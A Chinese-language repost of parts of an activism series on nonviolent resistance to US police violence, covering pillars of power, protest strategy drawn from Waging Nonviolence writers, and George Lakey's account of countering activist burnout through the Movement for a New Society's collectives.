教皇呼吁美国天主教主教团为抗议者提供鼓励，他们也这样做了，许多其他信仰团体的领袖，包括南方浸信会、耶稣基督后期圣徒教会、东正教和犹太教改革派，都表示支持这场运动。

这些愤怒的声明已经转化为全国各地的行动，信仰领袖们走上街头，游行反对种族不公和警察暴行。

6月7日，共和党参议员米特·罗姆尼参加了由当地牧师带领的近千名基督徒的游行，他们从华盛顿特区第7区步行到白宫。

6月14日，黑人神职人员自行组织了一次游行，前往白宫前的BLM广场，与数千名信仰领袖和教徒一起祈祷。

📌 从密苏里州的汽车抗议，到康涅狄格州的绝食抗议和占领，再到田纳西州的游行，全国各地的信仰领袖都在利用他们在当地社区的地位和道德力量，要求具体改变种族主义的治安做法。

支柱6：商业机构和工会

「图」

企业和工会在维护权力结构方面也发挥着关键作用，商业部门的许多

行为者已经开始与抗议者站在一起 —— 或者面临公众的反弹和抵制。

一些工人采取了直接的行动，比如俄亥俄州当地的塔克饼店，员工拒绝为警察局服务，一家咖啡馆的工人拒绝给警察折扣。罗德岛的一家甜甜圈店完全取消了给警察的折扣。

📌 随着活动家继续造势，这些个案会发展成一个更大的趋势。抗议者呼吁抵制亚马逊，亚马逊与600多个警察部门签订了销售监控设备的合同，导致该公司宣布暂停警方使用面部识别技术一年。

活动人士还发起了 #GrabYourWallet 活动，抵制一些为特朗普2020年竞选捐款的品牌公司，包括 CVS、Planet Fitness 和 Charles Schwab。

在西雅图，BLM于6月12日组织了一次全州性的罢工，以推进一份要求清单，包括从西雅图的警察预算中削减1亿美元。

- 罢工是最好的抗议措施，见《为什么选票无法帮你改变糟糕的现状？真正改变应该来自哪里？：权力的杠杆》

一些公司正在采取行动切断给警察的装备，比如富士自行车公司，在目睹了北美警察部队使用暴力手段后，宣布停止向那些警察出售自行车。

其他措施则是在更大范围内削减警察装备。在英国，166名议员联合呼吁英国停止向美国出口橡胶子弹和催泪瓦斯。

许多工会也纷纷响应，要求美国劳联-产联将国际警察协会联盟从其队伍中开除。西雅图的MLK劳工组织是代表150多个工会和10万名工人的机构，它告诉警察协会解决系统性的种族主义问题，否则将与该协会脱离关系。

其他工会也采取了声援行动。6月9日，国际码头和仓库工会、国际码头工人协会、和国际卡车司机兄弟会的成员都参加了**8**分钟**46**秒的停工 —— 这就是明尼阿波利斯警察跪在乔治·弗洛伊德脖子上的时间长度，这个时间杀死了那个人，并引发了一场全国性抗议运动。

📌 这些支柱中的每一个都可以单独地扰乱社会的正常运作秩序，并推动特定部门发生切实的变化。然而，当这些关键支柱共同发挥作用时，就能同时撼动长期以来公众的广泛接受和合作 —— 正是这种接受和合作一直支撑着美国的种族主义警务结构。

为了取得成效，每个城市或州的活动家和社区领袖都可以分析维护制度化的种族主义和警察权力的支持支柱。📌 有些支柱比其他支柱起着更关键的作用，而移动这些支柱将需要活动家制定更仔细的战略，确定可以移动的关键决策者，以推进反抗运动的目标。

📌 组织者还可以检查每个支柱，以找到薄弱点，即 可能有更多空间来实现变革的地方。

随着运动制定新的策略来削弱这些支柱，活动家们正在稳步侵蚀对警察的社会支持，并建立一个新的愿景，将公共资金投资于社区而不是警察。〇

作者：*Sarah Freeman-Woolpert* 一位致力于非暴力社会运动和创造性行为的作家、研究者和组织者。

—— 未完待续 ——

原文

创建强大的运动-用战术，而不仅仅是力量：行动主义（3） - iyouport

行动主义

【2021年3月26日存档】当人们被喧闹所吸引望向窗外时，他们看到的应该是一片美好未来的憧憬，而不是一群绝望的、痛苦的和无助的受害者在挣扎。让您的行动变成人们的希望，人们就会跟上您。

欢迎回来！

如果您错过了前面的内容，可以在这里看到：

- 《无法预测运动何时会爆发，但活动家可以描绘通往成功的道路：行动主义（1）》
- 《活动家如何瞄准6大权力支柱获取最强大的抵抗效果：行动主义（2）》

还记得我们在上一集中讲述的“权力支柱”吗？当权者依赖这些支柱来维护其权力稳固，这就是为什么他们强行虚构了一个以“忠诚和服从”为宗旨的叙事矩阵。如果反抗者能打破这一叙事矩阵，让那些权力支柱开始对自己的忠诚和服从产生怀疑，权力大厦就会倾斜。

另一方面，反抗者自己也有“支柱”—— 就是广泛的群众，当您的行动主义能建立在道德和正义的基础上时，尤其是，当您的行动能展示比现在更好的未来时，人们就会和您站在一起。

您不需要声称代表大众的利益，甚至您的遭遇不需要完全被大众感同身受（感同身受这个词本身就超级理想主义的和不现实的），您只需要让人们看到一个弱者为追求公平正义而表现出的勇气，您的行动就能稳住这一支柱。

人们对弱者有天然的同理心，反抗者示弱而不是逞强，是一种可以非常有效的战术。重要的是，您需要用得巧妙，时机和力度都要恰当。

就如反抗者群体知道该如何拆解当权者的权力支柱那样，当权者也非常擅长拆解反抗者的支柱 —— 当权者控制叙事，他们会利用这一强大武器攻击和污蔑反抗者，令反抗运动在他们的叙事矩阵中声名狼藉，以将公众的注意力从反抗本身的原因转移到完全无意义的道德细节上。这是全世界当权者都非常擅长的把戏。他们控制的企业媒体将他们的叙事矩阵武器无限放大。

还记得那些企业媒体如何用大篇文章讨论 Julian Assange 的头发和他的童年经历吗（为了暗示他有心理创伤，引导人们联想吹哨人的精神状态是否健康），从而将公众的注意力从对泄漏文件中曝光的屠杀暴行的愤怒，转移到对吹哨人的个人问题的八卦上。

同样的，在BLM中，极少部分左翼活动家升级的暴力抗议被当权者紧紧抓住，并武器化为叙事矩阵的一部分，从而引导公众从对警察暴力的愤怒转向对反抗者的愤怒。叙事操纵者无限夸大反抗者的“暴虐”，不仅为他们的暴力镇压提供合理性和借口，并且破坏了公众对反抗运动的认识和支持。

叙事操纵者利用他们控制的媒体试图将公众注意力引导至对 George Floyd 个人生活简史的关注上，以放大 Floyd 生前私生活中的阴暗面，导致很多依赖官方叙事的中文互联网用户转而抵制BLM运动，人们被迷惑了，从而忘记了一个最基本的道理 —— 不论是小偷小摸还是杀人强奸，都有法律制裁，而警察暴力杀人是反人权的私刑，是暴政。反抗者抵制的是私刑暴政，而不是奉死者为英雄。

幸运的是，多数美国公众都没有被这种叙事武器所迷惑，但是，必须提醒反抗者，你们不能给当权者以任何把柄来拆散你的支柱。

请记得，要利用战术，而不仅仅是力量。

本集推荐的书籍您可以在这里下载：https://www.patreon.com/posts/chuang-jian-da-45480661

关于警察暴力、种族正义和反抗的对话和争论从去年持续至今。虽然这些对话并不新鲜，但也有一些人真正加入到了反抗斗争中来，他们可以从过去的见解中学习经验教训。

对于那些正在寻找灵感、工具和其他资源的人来说，如何引导这些对话 —— 并使反抗运动变得更强大 —— 是关键问题。为此，本集内容提供一些汇总，来自 Waging Nonviolence 档案，以帮助您理解行动主义的思考方式。

当骚乱和抢劫伴随着抗议活动发生时，它们成为大多数

1、East Point Peace Academy 的创建者、活动家 Kazu Haga 写道：

呼吁 “和平”，作为 “停止抗议” 的委婉说法，这让我感到恶心。当维稳官员和政客告诉人们要 “和平” 地抗议，以此来表示 “不要形成对当权者权力稳固的真正威胁” 时，我很反感。

人们常常把 “和平” 与安静、与平和、与蜡烛和 Kumbaya 联系在一起。人们常常把 “和平” 简单地理解为没有紧张感。这是一个严重的错误。

【注：Kumbaya 一词是英语 Come by here 的音转，曾是20年代的黑人灵歌，也是50年代美国人野营时喜爱的歌曲，有着和谐欢乐的含义。由于这个词现在经常被政客使用，用来表达某种一团和气的 “稳定和谐” 场面 —— 类似中文中的 “河蟹”。于是在美国政治话语中，Kumbaya 成了一种嘲讽。】

事实上和平是一个混乱的过程。正义是响亮的。如果人们认为在美国这样一个暴力社会中建立 “和平” 是一个整洁、平静和漂亮的过程，那就绝对错了。

2、美国浸信会的社区组织者、作家 Lucas Johnson 写道：

对我的兄弟姐妹们来说，站起来反对全美各地警察部队不可逆转的暴力，不是一件容易事 …… 你们受到了责难，因为在我们的社会中，私有财产具有不可思议的价值。它代表着财富的积累，它体现着几代人的劳动和辛劳，是一种生活和安全。

正是因为具有这样的价值观，善意的公众才会对一些人所发动的破坏和毁灭行为作出惊恐的反应。但是，在我们这样一个明显的经济剥削制度中，任何一个有理智的人都不应该期望你持有这种观点。

我寻求结束骚乱并不是为了安抚大多数人 —— 大多数人经常无视你们的存在，他们只是希望你们用更符合他们口味的方式来表现你们的不满 —— 我寻求结束骚乱是因为破坏很容易，而我们真正需要做到的事却难得多。

我们需要制定一种策略，确保暴政的结束，永远结束。破坏是那些既得利益者所代表的行为，他们的利益来源就是那些占领你们社区、恐吓你们社区的警察部队，他们几代人一直在对我们做同样的事。

📌 如果我们必须在任何事情上取得成功，就必须首先让我们不要成为他们。我们决不能模仿他们的破坏能力。

3、“新社会运动” 活动家、国际非暴力冲突中心学术负责人 Steve Chase 写道：

虽然社会运动往往需要反叛的直接行动来取得胜利，但其成功也可能因消极反叛者的个人局限性而受到影响，这些反叛者充满了绝望、无能为力、先锋主义、对普通人不屑一顾、极端激进主义、以及基于意识形态而迅速谴责他人的自傲，或者拒绝与可能与自己意见不同的任何人进行良好合作的孤僻。

一些消极的反叛者还注重个人/小圈子的暴力抗议表现，他们无法采取真正有效的办法为有意义的变革和胜利建立多文化的、多阶级的多数支持。

【注：如果这段话让您想到了中国异议人士被称为 “民逗” 的故事，您没有想错 ……】

今天，现有的最佳证据有力地表明，具有高度的民众参与和非暴力纪律的民间抵抗运动的成功率将大大高于专注于武装斗争的运动，或具有零星非暴力纪律和/或有组织的暴力侧翼的混合运动。

然而，有些反抗运动在有一些暴力的情况下仍然成功 …… 如果你认为一个运动只有在 “完全非暴力” 的情况下才能成功，那么每当发生暴动、或者愤怒的抗议者与警察进行街头斗殴、或者运动中的一小部分人组织了持续的暴力侧翼时，你就很可能会放弃真正的成功。

📌 不论是暴力还是非暴力，目标都只有一个，那就是构建一个更美好的世界，您采取的一切战略都需要完全充分地满足这一目标 —— 解决问题，而不是制造新的问题！每个人都想获得好的生活，而不是让自己陷入更深的泥潭，所以，您知道该怎么做。推荐《当甘地错了 ……》。

4、East Point Peace Academy 的创建者、活动家 Kazu Haga：

当仇恨的程度如此极端时，我们对它的反应 —— 不论是非暴力或其他方式 —— 必须与其强度相匹配，Antifa 已经做到了这一点。但是，随着这些战斗的激烈进行，反抗者不应该变得教条，必须能够评估自己的战略，这一点至关重要。

与其以暴易暴，不如去揭露你的对手的暴力。特朗普发现自己越来越

孤立，正是因为人们继续揭露他的暴力。我们需要对极右翼做同样的事，而用棍棒打击他们只会让成功变得更难。

📌 反抗者的暴力限制了原本愿意出来参加这类抗议活动的人数。我们不能让极右翼觉得这是一场接近对等的战斗。

虽然 Antifa 的行动在我的社交媒体上得到了很多支持，但我们都知道，社交媒体可能是一个有限政治观点的回音室。大众不支持暴力，这需要成为我们计算战略的一部分。

📌 对于我们这些致力于非暴力的人来说，批评那些在暴力升级中起到作用的人是很容易的。但是，如果我们至少没有和他们一起上街，那么我们的批评就会显得非常空洞。如果我们相信，我们可以通过建立一个民众运动来战胜仇恨，那么我们就需要走上街头，去真的建立一个民众运动。

5、明尼阿波利斯市的社区组织者、变革培训师 Celia Kutz 写道：

当许多人听到他们的朋友和抗议者受到暴力袭击时，他们的反应是麻木、震惊和愤怒。有些人就像被车灯照到的小鹿，无法动弹，因为这似乎是无法理解的。

有些人只想用暴力反击，有些人则想退缩。

但有时，我们可以看到其他的选择，这些选择可以加强我们内在的复原力 —— 承认事件，感受事件的影响，并通过表达我们在那一刻拥有的力量来寻求治愈的能力。这正是BLM组织者们所做的.....

当白人至上主义者用暴力攻击你时，要加大你的非暴力行动的压力。种族主义者希望得到的奖赏 —— 恐吓你使你屈服或唤起反暴力 —— 不是要给他们。相反，你带着更强大的行动回来，合法的领导人为你的非暴力行动喝彩，更多的盟友站出来。这就是赢得地方斗争的方法。

6、活跃于民权运动至今的著名活动家 George Lakey 写道：

在60年代和70年代，美国的社会运动带来了我一生中最伟大的进步，尽管有时受到暴力抵抗。活动家们开发了增加我们安全的方法，并且 —— 当我们确实受伤时 —— 也要最大限度地发挥这些事件的变革潜力。

在60年代，我们的示威活动中经常有医护人员随行，还有训练有素的

领导者，尽可能地阻止麻烦的发生。在较大的人群中，法警们常常发现可以隔离攻击者和示威者之间的战斗。有时，法警将战斗包围起来，防止战斗蔓延，然后缓和局势。预计会有麻烦的团体经常为每次行动训练维和人员，也训练示威者。

在比我们当年更加两极化的今天，黑人反抗者和他们的白人盟友面对恐怖的暴力攻击，仍赢得了胜利。今天的活动家将为处理威胁增加创造性的新运动工具。

> 很多时候，如果仅停留在您反对的某些方面，将很难维护运动的生命力，并导致倦怠。积极的眼光有助于维持长期战斗，获得更大的成功。

7、George Lakey：

📌 有远见的人知道，要想制止历史性的不公正，就必须创造其他的选择。而不仅仅是抵制当下。

当您知道自己的方向时，就可以选择更有效的日常战术。战略的工作是将战术随着时间的推移而组合起来，以维护运动的增长和力量，所以当您选择战略时，您需要明确地知道自己的目的地，这非常重要。

我认识很多反抗者，他们在斗争中产生了倦怠。消极的姿态并不能保护我们免受捍卫正义工作中不可避免的伤害和失望。BLM运动的愿景发起人清楚地知道这点，这场斗争会持续很长时间。

📌 愿景还可以通过支持团结来获得帮助。活动家们可能会对这个或那个战术、或者这种或那种组织风格有不同的意见，但是。如果我们在大目标上能达成一致，我们就有理由“同意不同意见”，并接受令人不舒服的多样性。共同的大局目标鼓励我们一起努力。

8、纽约记者 Ashoka Jegroo 写道：

“解除纽约警察局的武装”是一个新的反抗集体，旨在立即阻止纽约警察局再次杀人。该团体寻求在当地社区和 Copwatch 团体的帮助下，对警察进行监督和施压，直到他们从警务过多的社区撤退，然后用其他的、基于社区的冲突解决方式来维持这些无警察区。与此同时，该组织还寻求彻底解除警察的武装。

该组织最初是从“Take Back The Bronx”组织那里得到‘无警区’的灵感的。2011年 Take Back The Bronx 成立后，其成员们会在一天时间里在整个布朗克斯戒备森严的街区占据一个角落，并竖起牌子，让警

察知道他们不受欢迎，通过营造类似街区派对的氛围，鼓励居民在街道上漫步，不惧怕警察的骚扰，并提高邻居们的意识，让他们知道如何在不涉及警察的情况下解决冲突。

居民们往往很容易接受无警区，并利用这个机会公开怒斥警察，以及与邻居们交流。尽管在这些活动中没有警察，但“无警区”还是设法保持了一种欢乐的气氛，而且总是在没有发生任何事的情况下实现的。

📌 运动完全可以是充满乐趣的，只要活动家的战略能触及大众的兴趣点，人们就会跟上你。

9、Kazu Haga：

维持治安的制度是一种依靠暴力、恐惧、压制和殖民者心态的制度。但是，受雇于这制度的人和其他任何人一样，都是具有人类心理的人。如果假设这些男人和女人没有受到他们每天目睹和参与的暴力的影响，那将是愚蠢的。没有人能够参与到警察所从事的高度暴力的程度却不被其影响。

这并不是要为私刑杀人的责任人辩护；这也不是要将黑人社区的痛苦与执法部门的痛苦相提并论。但在非暴力中，我们知道，📌 如果你不理解与你冲突的人的观点，你就不理解冲突本身。你不需要同意、原谅或证明对方的观点，你只需要理解它，这样你才能看到完整的画面。

当整个系统一起为警察辩护的时候，他们的辩护就是一个烟幕弹。系统并不关心任何个人 —— 个人是可有可无的。但对反抗者来说，我们越是把愤怒集中在扣动扳机的个人身上，就越是在帮系统本身侥幸脱罪；而系统越是维护个人，我们就越想看到他或她被关起来，好像个人才是问题所在。

不要犯这样的错误。

10、独立作家 Victoria Law：

在任何一天，都有462,000人(包括所有性别和种族的人)被审前关押在监狱里，这意味着他们目前正在等待出庭的日子。大多数人被关进监狱只是因为他们无力支付保释金。

2017年，#FreeBlackMamas 组织者在两个月内筹集了超过100万美元的资金，足以为全国106位母亲保释。他们不仅将这些母亲保释出

狱，还为她们联系了支持服务 —— 比如住房和咨询，同时还为她们后续的出庭日期提供交通协助。他们的努力引发了其他保释活动，包括父亲节保释和黑色八月保释，这些行动使另外71人获得自由。

保释并不限于母亲节或节假日。在一些州，出现了一些组织[如马萨诸塞州保释基金]，全年都在帮助被捕的反抗者获得保释。

在美国，前几年通过 #FreeBlackMamas 运动获得自由的黑人母亲们前往俄克拉荷马州塔尔萨市，参加被监禁和曾被监禁的妇女和女孩的行动主义会议 …… 有些人在被保释前从未参与过政治活动。现在，台上的每一位女性都深入参与了反监狱的运动，包括参与和组织了今年的保释工作。

📌 当您的行动主义能帮助人们的切实需求时，人们就会成为您的运动的一部分。

保释基金组织者不仅在努力将人们从监狱中解救出来，而且还在争取完全结束现金保释。

在一些地方，活动家们已经开始看到成果。芝加哥社区保释基金的组织者们推动了法院的干预，并与立法者合作制定了修改保释法的法案。2017年7月，为了应对一场诉讼，法官发布了一项规则，要求芝加哥库克县的所有保释金必须是可负担的。

11、活动家 Caitlin Breedlove 写道：

从欧洲人踏上这片土地的那一刻起，美国的当权者就一直把穷人和有色人种当作替罪羊。对我来说，真正重要的是，我正试图在我的人民所在的地方与他们面对面，并就这种挫折和愤怒进行真正的对话。

我们必须挖掘特朗普提出的一系列错位的仇恨和误导性、破坏性的解决方案。特朗普说话的方式能引起人们的共鸣，但你最好相信，当逼不得已时，他根本不会关心白人工人阶级。我想验证我的家人真正的愤怒，同时揭露那些制造替罪羊的行为、错位的仇恨和恐惧的制造。

我全心全意地相信，工人阶级和贫穷的白人在瓦解白人至上主义和种族资本主义方面有真正的利益。与白人结盟的诱惑力是强大的；作为工人阶级的白人，我们需要揭露当下权力的致命谎言，并组织我们的人民用我们的一切来反对它。〇

—— 未完待续 ——

原文

当活动家陷入虚无和疲惫 …… 寻找解决方案：行动主义（4） - iyouport

行动主义

【2021年4月9日存档】希望您在阅读这篇文章的过程中始终在回想您自己的组织、社区和亲密团队，它们的发展怎么样了？你们的行动获得了哪些成功？有没有遗憾？是否缺少了某些组织生活技巧？…… 如果再来一次，您能找到更棒的让反抗可持续性发展的灵感吗？

【按】在我们休假前夕，我们收到了热心读者的匿名投稿，文字如下：

我们的社区为何会逐渐死亡

以对话为目的的网络社区，在没有新人加入的情况下，死亡是必然的。为什么会这样？

当我们加入一个网络社区，最初的目的往往是为了对话。这是一个学习过程，我们表达、倾听。新建立的社区往往充满活力，看起来一切向好。逐渐地，我们熟悉了对方的思维方式，在有限的几个话题下，我们开始能够预测对方会怎么回答，探讨开始变得没有必要，于是可探讨的话题越来越少。

这时社区需要不断地引入新话题来保持活力，这些新话题往往是时事新闻。另一种则是引入新人，有了新人就有了新思维。如果这两种方式出于某种原因都不被提倡，那么社区的死亡就是可以预见的。

每个人就像一首曲子，听多了就会腻，很少有人在反复地听同一首曲子，我们总是会被更加新鲜的人或事吸引。

起初社区的对话频率是每分钟一条，当我们熟悉对方之后，对方的思维被我们学习，社区的吸引力越来越弱，就像婚姻的倦怠期不期而至。我们开始减少发送信息的频率，周围人则会减少查看信息的频

率，回应的频率也开始降低。当我们看到回应的频率降低时，我们发送消息的频率会更进一步的降低。

这个过程循环往复，起初是一小时，接着变成一天，然后变成一周，最后对话的周期变得无限长。

这时开始有人调整对社区的预期，认为社区已经死亡。当社区的所有人都这么认为时，社区正式死亡了。就像布满蛛网的书架，废弃的管道，充满杂草的小径，空无一人的剧院，它存在，却没有人去使用它。

维系一个社区需要付出，而不只是获取。那些陈旧的设施需要人去维护，就像清洁工那样。

*GFW*的过滤太强，以至于墙外的群体性格都变了，能穿过防火墙抱怨的人绝对不会是目不识丁的扫地大妈，她们足够勤劳坚毅，总是在实践，而我们总是在打嘴杖。我们需要从周围去学习更多优秀的品质，以弥补群体的不完整性。

我想邀请大家参与一个微行动，打开那些你认为已经死亡或者接近死亡的社区，发送一条空白的消息。每隔一段时间发一次，两三周随机发送一次，不需要包含什么内容，仅表示你的信息通道是畅通的，让人知道你在这里。这样能够稳住社区成员对于社区的预期，让社区持续存在下去。

类似于老旧的消防通道、消防栓，保持它们是可使用的，一旦它们被使用就将发挥巨大价值。

非常感谢中国朋友的思考！这是一个重要的思考，关于：我们之间的连接性和以此为基础才能够实现的组织行动能力，如何才能在时间的流失和维稳的高压下存活下来。

我们受到太多的压力，有监视审查无处不在的恐慌、有政府线人渗透和间谍的危险、有人们的疲惫和失望，还有几乎不间断的抓捕判刑、强迫失踪、受伤、甚至死亡的队友带来的绝望感。

逐渐的，曾经积极的人们走散了，消失了，退出了反抗运动。剩下的人陷入沉默，人们不知道接下来会发生什么，不知道谁值得信任，不知道谁“是下一个”。

这就是全世界的当权者都最擅长的镇压战术 —— 打散，让反抗者因无力继续承受压力而退散。行动者必须能识别这种镇压战术，并有效

地抵抗它。

这就是为什么我们提供了《整体安全》培训教材、《示威者指南》手册系列、以及本系列《行动主义》，以尽可能全面帮助您战胜这种最常见的镇压战术，保持行动者之间的连接能力。

行动者的连接能力就是对镇压者最大的威胁，他们会想尽一切办法拆散你们。别让他们得逞。

您看过剧集《Sense8》吗？事实上它的框架是一个完美的反抗隐喻，其中“超感”就是对反抗者之间的连接性作为一种最强大的力量的隐喻。这里的“超感”并非只是有普通的“感同身受”，而是，在你最危机的时刻出手相助的亲密队友、在你最需要的时候提供最具价值的能力，它是对联合为什么能令反抗运动变得非常强大的强调。

这是每一位行动者的完美理想。连接不仅是你们的武器，而是是你们的治愈。本文就是应用连接性作为治愈方案的活动家真实案例。

如何才能做到让一个活动家社区维持彼此间连接的生命力？最基本的是，你们需要一个强大的共同目标，每个人都真的渴望和期待这个目标得以实现，并且每个人都明确知道，当所有人联合起来时，社区能达成这个目标。

📌 组织是一门科学，行动是技能和智慧的综合爆发，协作是最好的武器，当每个人都能明白这个道理时，我们才有 TheNextStep。

当几年前中国的活动家群体中开始浮现虚无主义时，人们就应该提醒警惕了，并及时找到解决方案。虚无主义并非来自于持有这种心态的人们所声称的“环境变得更难了”，作为反抗者，环境的难度恰恰是证明你们的存在之价值的条件；事实上虚无心态所导致的放弃才是环境难度加大到难以突破的境地的主要原因 —— 反抗者的放弃就是暴政的崛起。

我们在“整体安全”训练课程中强调的重点安全指标之一就是，活动家和反抗活动参与者的心态，当积极性下滑时应该将其视为威胁信号。

本系列内容的主题旨在帮助中国活动家和社区梳理你们中存在的问题、曾经没能使用到的技巧和方法，这些技巧有可能帮助您改变那些糟糕的局面。

本集的内容讲述的是一些“治疗”虚无主义和绝望的方法。

本文的作者是工作了60年的直接行动老活动家，曾经多次被捕，也写了很多书帮助全世界的行动主义者获得力量和提高成功机会。我们曾经上传过他的书。本文将采取第一人称讲述。希望这篇文章能为您带来启示。

欢迎回来！

如果您错过了前面的内容，可以在这里看到：

- 《无法预测运动何时会爆发，但活动家可以描绘通往成功的道路：行动主义（1）》
- 《活动家如何瞄准6大权力支柱获取最强大的抵抗效果：行动主义（2）》
- 《创建强大的运动—用战术，而不仅仅是力量：行动主义（3）》

这篇文章的作者是 George Lakey，他是活跃于公民直接行动领域已有六十年之久的活动家。最初在民权运动中被捕，最近又在气候正义运动中被捕。他已在五大洲举办了1,500个讲习班，并领导了地方、国家和国际层面的行动主义项目。他的10本书和许多文章反映了他在社区和社会层面的研究。

“我放弃了”，他用一种认命的语气和我说。我只离开了一段时间，没想到会这样的结束。我开始打断他的话，但他却直接说了下去。

“那些枪击案，伙计。连联邦调查局都承认，信仰团体的爆炸事件越来越多。我们有个一心想成为独裁者的总统。没人知道接下来会发生什么。我只是觉得自己无法胜任了。”

我们之间并不亲密，但我们不止一次在政治会议后一起喝啤酒，当我们在抗议运动中站在同一纠察线上时，我们都很高兴看到对方。现在他却告诉我，他要退出这个运动了。

那是1970年的夏末，杰克逊州和肯特州杀人事件后的几个月，他是对的，尼克松总统想成为一个独裁者。随着贫困在国内蔓延，战争变得更加可怕。事情的确看起来很糟糕。

【注：肯特州立大学枪击案（Kent State shootings，也称五·四屠杀，于1970年5月4日（星期一）发生在美国俄亥俄州肯特城肯特州立大学。当时国民警卫队向骚乱学生在13秒内射出67发子弹，造成4名学生死亡，9名学生受伤，其中一人终身残废。】

我不能责怪他的倦怠，但他代表了越来越多曾经非常热心的活动家却没有能够维持自己的长远发展。我理解他的压力。我记得还有人找了些幽默的说法以形容这种感觉：“如果你没有被压倒，只是意味着你不够专注。”

那是50年前的事了，而现在，在我们经历的这些日子里，这个问题又出现了。我们如何才能维持我们的行动主义的长期发展？当人们退出时，运动就会失去他们来之不易的技能、经验和使联盟变得更强大的关系。在多个层面上，退出运动的代价都是惨重的。George Lakey 在70年代

好消息是，1970年版的可持续发展问题刺激了一个渴望找到解决方案的非正式团体。经过一年的研究和发展，1971年诞生了“新社会运动”，即MNS。MNS成为一个全国性的活动家组织，其成员支持更大规模的运动，以改变现状。

组织设计中的一些因素支持了成员的弹性。我们也犯过错误，其中有一个错误足够大，最终在近20年后结束了这个组织。但值得注意的是，即使在1988年解散后，许多MNS的成员仍继续作为活动家，与后来的运动分享他们的技能和经验。

利用组织形式，教授成员如何相互支持。

1969–70年在伦敦常驻、在欧洲演讲和培训时，我被荷兰的活动家团体 Shalom 所吸引，该组织建立了一个培训中心，为自主行动团体的网络服务。当我回到美国的时候，伴随着倦怠，我也发现有新的人主动来尝试行动主义。

📌 我把一些**60**年代运动的老兵和几个不同的年轻活动家集群拉到了一起。我们的邀请是为了探索一个团体的成分，这个团体可以进行激进的行动，同时支持成员的可持续性。我们意识到，培训将是关键，因为它可以培养能力和技巧，从而减少不知所措。

我们的第一个决定是采纳长期活动家 George 和 Lillian Willoughby 的建议，将培训与合作生活放在一起，在一个中心进行。在一个支持性的社区里一起学习，可以通过反复强调“这不是你的问题，而是我们共同的问题”来处理焦虑。我们一起学习，就能改变现状。

📌 另一种体验这种支持的方式是通过任务集体（如果成员得到培训的话）。因为我们可以邀请全国各地的任务集体组成一个网络，开展行动，并且—— 如果人们选择的话—— 大家一起生活，我们认为

Shalom 的结构很适合我们。我们还期望费城基地（或者用今天的话说是“中心”）能达到临界质量，然后它可以提供培训资源，支持网络中的每个人。

我们在费城找到了一个便宜的社区，可以买下和租下维多利亚式的大房子进行合作式居住，一栋房子里有6–10个人。我们的五间集体房屋迅速增加到10间，然后稳定在15间左右。

📌 日常开支、托儿、做饭、清洁、维修等，都由每个家庭分担。这样一来个人的收入需求就急剧下降了。把生活费降下来，意味着大多数人只做兼职工作就可以赚取足够的收入，把剩下的时间留给组织运动的工作。

这是一种自创“基本收入”的行动主义社区实践。下图中是一套书籍，可以在这里下载：https://www.patreon.com/posts/qu-ta-ma-de-gong-41227057

📌 轻松易得的社交创造了一个自然的支持性的环境，我们引进了一种同伴咨询方法，解决了个人主义者试图合作时不可避免的问题。

我们把我们的培训社区安置在费城一个高流动率的中产阶级和工人阶级街区，一些房地产商在我们不知情的情况下，计划把这里变成贫民窟。我们的社区组织成功地拯救了这个街区。事实上，我们当年创办的两个街区机构在**50**年后仍然在蓬勃发展。研究者 Andrew Cornell 在他的“反对与提议：新社会运动的教训”一书中生动地展现了MNS的形象。

一个团队或集体的联盟网络

「图」

MNS从基本型的结构变成了一个横向的集体网络。📌 每一个集体都是一个面对面的小组，专注于一个项目，例如一个集体组织直接行动封锁运动，促使码头工人工会罢工，声援受苦的人民；另一个集体组织了一个邻里安全计划，让我们和邻居并肩应对犯罪激增；第三个集体为全国网络做外联和沟通工作，第四个集体创办并经营“新社会出版社”（如今仍在继续，独立运作）。还有许多其他的集体；每个集体一旦同意非暴力直接行动革命的整体概念的基本内容，就会自主地进行自己的工作。

【注：这里的“集体”就是我们在“整体安全”系列中建议的“亲密团

体”】

在MNS网络建立之后，新的集体申请不断加入，这就涉及到对话，以明确这个集体网络特征的中心共识。其中一个期望是，📌 当其中一个集体遇到困难时，其他集体的成员都愿意 “相互支持”。

在我们的设计中，给予和接受支持是维持活动家战斗力的另一个要素。受20世纪初 Wobblies 的启发，MNS创造了一种 “输电网”，当一个集体出现问题时，其他成员就会前来输送能量。

一个人成为MNS成员的唯一途径就是成为一个集体的成员。非成员以多种方式与MNS成员互动，包括住进合作社的家庭、加入合作社、参加众多的聚会、唱歌和其他社交生活。不过，在MNS决策中的发言权还是保留给那些属于相互负责的集体组织的成员。

📌 这一部分的结构设计是关键。该组织对成员负责，而成员本身也对与他们合作最密切的人负责。这一特点提高了可靠性，从而最大限度地提高了安全性和互信，这反过来又减少了焦虑和倦怠。

最大限度地提高信任的可靠性，也使得内部冲突对成员来说是安全的，因为内部冲突是确保学习曲线稳健的关键。我们相信，当积极人士体验到自己是在积极学习和成长时，他们就不太可能倦怠了。

为了加强学习，我们在MNS中建立了持续评估和反馈的期望。一个工作集体经常邀请一位主持人来帮助他们反思他们的工作，包括他们的团队合作中的问题。个人有时会邀请其他人与他们见面，帮助他们反思个人成长中的问题。

当我得了一种预计会要我命的癌症时，我就采用了这种方法；我的MNS成员支持小组来帮助我诚实地审视我的生活，并使自己有能力治愈。1977年7月发行的《社区》杂志，内容涉及新社会运动。

协作式学习

「图」

📌 MNS有一个口号：“我们需要知道的大部分东西，我们还没有学会”。我们发现，这有助于支持认真学习、培训，也有助于可持续性。当我们的表现不能完全满足需求和期望时，焦头烂额中可能就会放弃自己。成员们发现，这个口号蕴含着宽恕。

与高中和大学的个人主义学习不同，**MNS**的学习方式是协作式的。成员们自己报名参加宏观分析研讨会的其中一个小组，研究影响我们成功机会的大力量。宏观分析研讨会主要是由 Bill Moyer 发起的，他在马丁·路德·金的联盟网络中看到了宏观层面对活动家的重要性，以及通过MNS进一步提高能力的方法。

📌 **MNS**的变革理论是通过放弃单一的典型活动家对分析问题的关注来支持可持续性发展。我们的选择是A/V/S：分析、愿景和战略。对愿景的强调使我们与奥林匹克运动员的教练保持一致。阐明并尽可能地实现胜利的愿景。

📌 同样重要的是制定一个达到目标的战略。研讨会强调，如果我们要做出我们想要的改变程度，战略和愿景与分析同样重要。

宏观分析研讨会教会人们如何在小团体中学习，就像MNS组织者在直接行动的情况下鼓励人群形成面对面的亲密团队一样。小团体所能给予的支持程度是无可替代的。调查作战情况的军事研究人员已经吸取了这一教训—— 面对面的小组合作是最有效的帮助士兵减少恐惧、并保持战斗力与挑战精神的方法。

